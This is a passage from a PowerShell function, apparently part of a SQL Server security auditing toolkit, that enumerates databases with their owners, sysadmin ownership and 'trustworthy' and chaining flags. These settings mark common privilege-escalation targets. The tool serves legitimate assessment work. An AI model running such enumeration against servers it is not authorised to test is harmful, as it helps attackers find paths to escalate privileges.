to. .PARAMETER SysAdminOnly Only select databases owned by a sysadmin. .EXAMPLE PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 DatabaseId : 7 DatabaseName : testdb DatabaseOwner : sa OwnerIsSysadmin : 1 is_trustworthy_on : True is_db_chaining_on : False is_broker_enabled : True is_encrypted : False is_read_only : False create_date : 4/13/2016 4:27:36 PM recovery_model_desc : FULL FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf DbSizeMb : 3.19 has_dbaccess : 1 .EXAMPLE PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, HelpMessage = 'Database name.')] [string]$DatabaseName, [Parameter(Mandatory = $false, HelpMessage = 'Only select non default databases.')] [switch]$NoDefaults, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases the current user has access to.')] [switch]$HasAccess, [Parameter(Mandatory = $false, HelpMessage = 'Only select databases owned by a sysadmin.')] [switch]$SysAdminOnly, [Parameter(Mandatory = $false, HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] [switch]$SuppressVerbose ) Begin { # Create data tables for output $TblResults = New-Object -TypeName System.Data.DataTable $TblDatabases = New-Object -TypeName System.Data.DataTable $null = $TblDatabases.Columns.Add('ComputerName') $null = $TblDatabases.Columns.Add('Instance') $null = $TblDatabases.Columns.Add('DatabaseId') $null = $TblDatabases.Columns.Add('DatabaseName') $null = $TblDatabases.Columns.Add('DatabaseOwner') $null = $TblDatabases.Columns.Add('OwnerIsSysadmin') $null = $TblDatabases.Columns.Add('is_trustworthy_on') $null = $TblDatabases.Columns.Add('is_db_chaining_on') $null = $TblDatabases.Columns.Add('is_broker_enabled') $null = $TblDatabases.Columns.Add('is_encrypted') $null = $TblDatabases.Columns.Add('is_read_only') $null = $TblDatabases.Columns.Add('create_date') $null = $TblDatabases.Columns.Add('recovery_model_desc') $null = $TblDatabases.Columns.Add('FileName') $null = $TblDatabases.Columns.Add('DbSizeMb') $null = $TblDatabases.Columns.Add('has_dbaccess') # Setup database filter if($DatabaseName) { $DatabaseFilter = " and a.name like '$DatabaseName'" } else { $DatabaseFilter = '' } # Setup NoDefault filter if($NoDefaults) { $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')" } else { $NoDefaultsFilter = '' } # Setup HasAccess filter if($HasAccess) { $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1' } else { $HasAccessFilter = '' } # Setup owner is sysadmin filter if($SysAdminOnly) { $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1" } else { $SysAdminOnlyFilter = '' } } Process { # Parse computer name from the instance $ComputerName = Get-ComputerNameFromInstance -Instance $Instance # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Test connection to instance $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if($TestConnection) { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Success." } } else { if( -not $SuppressVerbose) { Write-Verbose -Message "$Instance : Connection Failed." } return } # Check version $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber if($SQLVersionFull) { $SQLVersionShort = $SQLVersionFull.Split('.')[0] } # Base query $QueryStart = " SELECT '$ComputerName' as [ComputerName], '$Instance' as [Instance], a.database_id as [DatabaseId], a.name as [DatabaseName], SUSER_SNAME(a.owner_sid) as [DatabaseOwner], IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin], a.is_trustworthy_on, a.is_db_chaining_on," # Version specific columns if([int]$SQLVersionShort -ge 10) { $QueryVerSpec = ' a.is_broker_enabled, a.is_encrypted, a.is_read_only,' } # Query end $QueryEnd = ' a.create_date, a.recovery_model_desc, b.filename as [FileName], (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb], HAS_DBACCESS(a.name) as [has_dbaccess] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1' # User defined filters $Filters = " $DatabaseFilter $NoDefaultsFilter $HasAccessFilter $SysAdminOnlyFilter ORDER BY a.database_id" $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters" # Execute Query $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose # Append results for pipeline items $TblResults | ForEach-Object -Process { # Set version specific values if([int]$SQLVersionShort -ge 10) { $is_broker_enabled = $_.is_broker_enabled $is_encrypted = $_.is_encrypted $is_read_only = $_.is_read_only } else { $is_broker_enabled = 'NA' $is_encrypted = 'NA' $is_read_only = 'NA' } $null = $TblDatabases.Rows.Add( $_.ComputerName, $_.Instance, $_.DatabaseId, $_.DatabaseName, $_.DatabaseOwner, $_.OwnerIsSysadmin, $_.is_trustworthy_on, $_.is_db_chaining_on, $is_broker_enabled, $is_encrypted, $is_read_only, $_.create_date, $_.recovery_model_desc, $_.FileName, $_.DbSizeMb, $_.has_dbaccess ) } } End { # Return data $TblDatabases } }